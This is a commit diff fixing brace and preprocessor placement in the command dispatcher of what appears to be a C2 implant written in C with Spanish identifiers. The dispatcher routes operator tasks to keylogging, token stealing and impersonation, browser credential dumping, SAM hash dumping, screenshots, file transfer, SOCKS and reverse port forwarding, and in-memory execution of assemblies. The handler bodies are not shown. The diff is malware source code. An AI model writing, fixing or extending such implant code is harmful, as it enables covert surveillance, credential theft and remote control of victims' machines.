Fixed Error
This commit is contained in:
@@ -115,63 +115,64 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
} else if (tarea == SLEEP_CMD){
|
} else if (tarea == SLEEP_CMD){
|
||||||
sleep(analizadorTarea);
|
sleep(analizadorTarea);
|
||||||
|
}
|
||||||
#ifdef ENABLE_PS_CMD
|
#ifdef ENABLE_PS_CMD
|
||||||
} else if (tarea == PROCESS_CMD){
|
else if (tarea == PROCESS_CMD){
|
||||||
listarProcesos(analizadorTarea);
|
listarProcesos(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_CD_CMD
|
#ifdef ENABLE_CD_CMD
|
||||||
} else if (tarea == CD_CMD) {
|
else if (tarea == CD_CMD) {
|
||||||
CambiarDirectorio(analizadorTarea);
|
CambiarDirectorio(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_LS_CMD
|
#ifdef ENABLE_LS_CMD
|
||||||
} else if (tarea == LS_CMD) {
|
else if (tarea == LS_CMD) {
|
||||||
ListarDirectorio(analizadorTarea);
|
ListarDirectorio(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_PWD_CMD
|
#ifdef ENABLE_PWD_CMD
|
||||||
} else if (tarea == PWD_CMD) {
|
else if (tarea == PWD_CMD) {
|
||||||
ObtenerPath(analizadorTarea);
|
ObtenerPath(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_CP_CMD
|
#ifdef ENABLE_CP_CMD
|
||||||
} else if (tarea == CP_CMD) {
|
else if (tarea == CP_CMD) {
|
||||||
CopiarFichero(analizadorTarea);
|
CopiarFichero(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_MKDIR_CMD
|
#ifdef ENABLE_MKDIR_CMD
|
||||||
} else if (tarea == MKDIR_CMD) {
|
else if (tarea == MKDIR_CMD) {
|
||||||
CrearRuta(analizadorTarea);
|
CrearRuta(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_RM_CMD
|
#ifdef ENABLE_RM_CMD
|
||||||
} else if (tarea == RM_CMD) {
|
else if (tarea == RM_CMD) {
|
||||||
EliminarRuta(analizadorTarea);
|
EliminarRuta(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_CAT_CMD
|
#ifdef ENABLE_CAT_CMD
|
||||||
} else if (tarea == CAT_CMD) {
|
else if (tarea == CAT_CMD) {
|
||||||
LeerFichero(analizadorTarea);
|
LeerFichero(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_DOWNLOAD_CMD
|
#ifdef ENABLE_DOWNLOAD_CMD
|
||||||
} else if (tarea == DOWNLOAD_CMD) {
|
else if (tarea == DOWNLOAD_CMD) {
|
||||||
DescargarFichero(analizadorTarea);
|
DescargarFichero(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_UPLOAD_CMD
|
#ifdef ENABLE_UPLOAD_CMD
|
||||||
} else if (tarea == UPLOAD_CMD) {
|
else if (tarea == UPLOAD_CMD) {
|
||||||
SubirFichero(analizadorTarea);
|
SubirFichero(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_SCREENSHOT_CMD
|
#ifdef ENABLE_SCREENSHOT_CMD
|
||||||
} else if (tarea == SCREENSHOT_CMD) {
|
else if (tarea == SCREENSHOT_CMD) {
|
||||||
CapturarPantalla(analizadorTarea);
|
CapturarPantalla(analizadorTarea);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_SOCKS_CMD
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
} else if (tarea == START_SOCKS_CMD) {
|
else if (tarea == START_SOCKS_CMD) {
|
||||||
_dbg("Received START_SOCKS_CMD");
|
_dbg("Received START_SOCKS_CMD");
|
||||||
startSocksHandler(analizadorTarea);
|
startSocksHandler(analizadorTarea);
|
||||||
} else if (tarea == STOP_SOCKS_CMD) {
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
@@ -180,7 +181,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_RPFWD_CMD
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
} else if (tarea == START_RPFWD_CMD) {
|
else if (tarea == START_RPFWD_CMD) {
|
||||||
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
||||||
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
||||||
startRpfwdHandler(analizadorTarea);
|
startRpfwdHandler(analizadorTarea);
|
||||||
@@ -191,91 +192,91 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_KEYLOG_START_CMD
|
#ifdef ENABLE_KEYLOG_START_CMD
|
||||||
} else if (tarea == KEYLOG_START_CMD) {
|
else if (tarea == KEYLOG_START_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
||||||
StartKeylogger(analizadorTarea);
|
StartKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_KEYLOG_STOP_CMD
|
#ifdef ENABLE_KEYLOG_STOP_CMD
|
||||||
} else if (tarea == KEYLOG_STOP_CMD) {
|
else if (tarea == KEYLOG_STOP_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
||||||
StopKeylogger(analizadorTarea);
|
StopKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_LIST_TOKENS_CMD
|
#ifdef ENABLE_LIST_TOKENS_CMD
|
||||||
} else if (tarea == LIST_TOKENS_CMD) {
|
else if (tarea == LIST_TOKENS_CMD) {
|
||||||
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
||||||
ListarTokens(analizadorTarea);
|
ListarTokens(analizadorTarea);
|
||||||
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_STEAL_TOKEN_CMD
|
#ifdef ENABLE_STEAL_TOKEN_CMD
|
||||||
} else if (tarea == STEAL_TOKEN_CMD) {
|
else if (tarea == STEAL_TOKEN_CMD) {
|
||||||
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
RobarToken(analizadorTarea);
|
RobarToken(analizadorTarea);
|
||||||
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_MAKE_TOKEN_CMD
|
#ifdef ENABLE_MAKE_TOKEN_CMD
|
||||||
} else if (tarea == MAKE_TOKEN_CMD) {
|
else if (tarea == MAKE_TOKEN_CMD) {
|
||||||
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
CrearToken(analizadorTarea);
|
CrearToken(analizadorTarea);
|
||||||
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_REV2SELF_CMD
|
#ifdef ENABLE_REV2SELF_CMD
|
||||||
} else if (tarea == REV2SELF_CMD) {
|
else if (tarea == REV2SELF_CMD) {
|
||||||
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
||||||
RevertirToken(analizadorTarea);
|
RevertirToken(analizadorTarea);
|
||||||
_inf("===== REV2SELF_CMD COMPLETED =====");
|
_inf("===== REV2SELF_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_WHOAMI_CMD
|
#ifdef ENABLE_WHOAMI_CMD
|
||||||
} else if (tarea == WHOAMI_CMD) {
|
else if (tarea == WHOAMI_CMD) {
|
||||||
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
||||||
ObtenerUsuarioActual(analizadorTarea);
|
ObtenerUsuarioActual(analizadorTarea);
|
||||||
_inf("===== WHOAMI_CMD COMPLETED =====");
|
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_KILL_CMD
|
#ifdef ENABLE_KILL_CMD
|
||||||
} else if (tarea == KILL_CMD) {
|
else if (tarea == KILL_CMD) {
|
||||||
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
||||||
MatarProceso(analizadorTarea);
|
MatarProceso(analizadorTarea);
|
||||||
_inf("===== KILL_CMD COMPLETED =====");
|
_inf("===== KILL_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_BROWSER_INFO_CMD
|
#ifdef ENABLE_BROWSER_INFO_CMD
|
||||||
} else if (tarea == BROWSER_INFO_CMD) {
|
else if (tarea == BROWSER_INFO_CMD) {
|
||||||
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
||||||
IdentificarNavegadores(analizadorTarea);
|
IdentificarNavegadores(analizadorTarea);
|
||||||
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_BROWSER_DUMP_CMD
|
#ifdef ENABLE_BROWSER_DUMP_CMD
|
||||||
} else if (tarea == BROWSER_DUMP_CMD) {
|
else if (tarea == BROWSER_DUMP_CMD) {
|
||||||
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
||||||
DumparNavegador(analizadorTarea);
|
DumparNavegador(analizadorTarea);
|
||||||
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_SAMDUMP_CMD
|
#ifdef ENABLE_SAMDUMP_CMD
|
||||||
} else if (tarea == SAMDUMP_CMD) {
|
else if (tarea == SAMDUMP_CMD) {
|
||||||
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
||||||
SamDumpHandler(analizadorTarea);
|
SamDumpHandler(analizadorTarea);
|
||||||
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_INLINE_EXECUTE_CMD
|
#ifdef ENABLE_INLINE_EXECUTE_CMD
|
||||||
} else if (tarea == INLINE_EXECUTE_CMD) {
|
else if (tarea == INLINE_EXECUTE_CMD) {
|
||||||
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
||||||
InlineExecuteHandler(analizadorTarea);
|
InlineExecuteHandler(analizadorTarea);
|
||||||
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
|
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
|
||||||
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
||||||
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||||
// This command is typically handled via subtasks in Python
|
// This command is typically handled via subtasks in Python
|
||||||
// But if called directly, we'll handle it here
|
// But if called directly, we'll handle it here
|
||||||
|
|||||||
Reference in New Issue
Block a user